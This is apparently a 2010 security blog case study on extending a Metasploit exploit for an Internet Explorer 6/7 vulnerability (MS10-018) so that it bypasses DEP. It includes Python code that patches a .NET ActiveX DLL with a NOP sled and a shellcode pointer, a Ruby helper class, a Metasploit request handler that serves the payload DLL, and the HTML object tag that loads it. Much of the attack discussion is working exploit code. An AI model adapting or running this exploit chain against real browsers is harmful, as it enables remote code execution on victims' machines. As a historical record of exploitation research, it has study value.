CVE Certified

Exploiting Internet Explorer 7 – Case Study

4th August 2010 - by zelik

In this post we are going to take a vulnerability in Internet Explorer 6/7 that was exploited in a relatively stable manner and attempt to add the DEP bypassing ability. The main exploit for this vulnerability has been implemented as a metasploit module (“ms10_018_ie_behaviors” by moshe ben abu from rec-sec). It works well on the target platforms but it doesn’t bypass DEP (yet..).

There’s an up-side and a down-side for using this technique, because the target must have the NET framework installed. During the exploitation of this vulnerability we were able to find a way to make the DEP bypass the main technique and the regular heap spray a fallback. At the metasploit exploit the heap is sprayed hoping that 0x0c0c0c0c will contain our user-controlled data. Once the vulnerability is triggered, the address 0x0c0c0c0c + 8 will be dereferenced from a call instruction, this way 0x0c0c0c14 points to 0x0c0c0c0c and 0x0c is a OR instruction that acts like a NOP.

When the heap is sprayed we assume that the address 0x0c0c0c0c is available for allocation. And that spraying the heap will results in:

But if we add an object tag to load our NET ActiveX to the address 0x0c0b0000 the results will be:

This way there are two possible scenarios

  • The NET framework is installed – 0x0c0c0c0c will be occupied and will not get allocated, allowing us to execute our shellcode while bypassing DEP
  • The NET framework is not installed – 0x0c0c0c0c will get allocated and the exploit will be able to run as usual without the ability to bypass DEP

To implement this ability we need to know exactly where in the NET ActiveX are the bytes that get mapped into 0x0c0c0c14. We can accomplish that by searching for the start of our user-controlled data within the NET ActiveX and subtract that address from 0x0c0c0c14 (0x0c0c0c14 – 0x0c0b25dd = 0xE637). And that will be our offset within the data. We modify our “NetActiveX.py” script to fit this offset

modified_content = content[0:start_loc]   # Save the original file-data (headers, etc..)
modified_content += "\x90" * 0xE637     # Spacing up-to 0xC0C0C0C0 (Can be random data as well)
modified_content += struct.pack("<I", 0x0c0c0c0c + 12)   # Pointer to our shellcode
modified_content += "\xCC" * 0x100      # Shellcode
modified_content += "\x90" * ((end_loc - len(modified_content)) + len(signature))
modified_content += content[len(modified_content):]

At this point we know most of the things we need to know in-order to bypass DEP successfully. We just need to add the tag to the html sent by the HTTP server and make sure we send the ActiveX when required. The object tag is “<object classID=”exploit.dll#exploit.Shellcode”></object>” and we place it right after the html tag. When everything is set we execute the exploit and land at our breakpoints

At this point we have ability to execute code on a DEP enabled machine, but we still have some porting to do to make it work with metasploit. This is exactly why we implemented the metasploit component, We need the ability to insert the shellcode on the fly, as well as other things such as various patches (locations that we need to point to other locations, etc…). The component we have created can be accessed by adding a require ‘DotNET’ statement to the exploit. Once we have, we can use a class called NetActiveX. This class has the following public methods

  • set_base(image_base) – Sets the base of the ActiveX.
  • set_shellcode(offset, shellcode) – Sets the shellcode at a given offset.
  • patch(offset, size, format, value) – Adds a patch to a given location.

Sample Usage:

dll = NetActiveX.new("shellcode.dll")
dll.set_base(0x0C0B0000)
dll.set_shellcode(0xE637,"\xCC" * 0x100)
dll.patch(0x0c0c0c0c, 4, "V", 0x0c0c0c18)
exploit(dll.to_s)

When applied this technique to the existing metasploit module we simply add an ActiveX request handler:

if (request.uri.match(/\.dll/i))
dll = NetActiveX.new("%s/NET/shellcode.dll" % Msf::Config.data_directory)
case mytarget['Method']
when 'onclick'
dll.set_base(0x11CF0000)
dll.set_shellcode(0x446D, payload.raw )
when 'marquee'
dll.set_base(0x0c0b0000)
dll.patch(0xE637,4,"V", 0x0c0c0c18)
dll.set_shellcode(0xE650, payload.raw)
end
send_response(cli, data = dll.to_s, { 'Content-Type' =>
'application/x-msdownload'})
return
end

After adding the request handler we modify both of the generated html files to contain our object tag.

j_net_dll       = rand_text_alpha(rand(50) + 1)</p>
html = %Q|<html><object name="#{j_net_dll}" classID="#{j_net_dll}.dll#exploit.Shellcode"></object>...

NOTE: This technique requires the target to visit the generated link with an appended “/” at the end. If the user will visit the generated link without it, metasploit will block the ActiveX request and the DEP bypass technique will not work!

The metasploit component “DotNet” is not a part of the framework at the moment, you will need to add it manually in-order to use it. The module can be found here and the modified exploit can be found here.

About the Author

Tal zeltzer (zelik) is a security researcher from israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.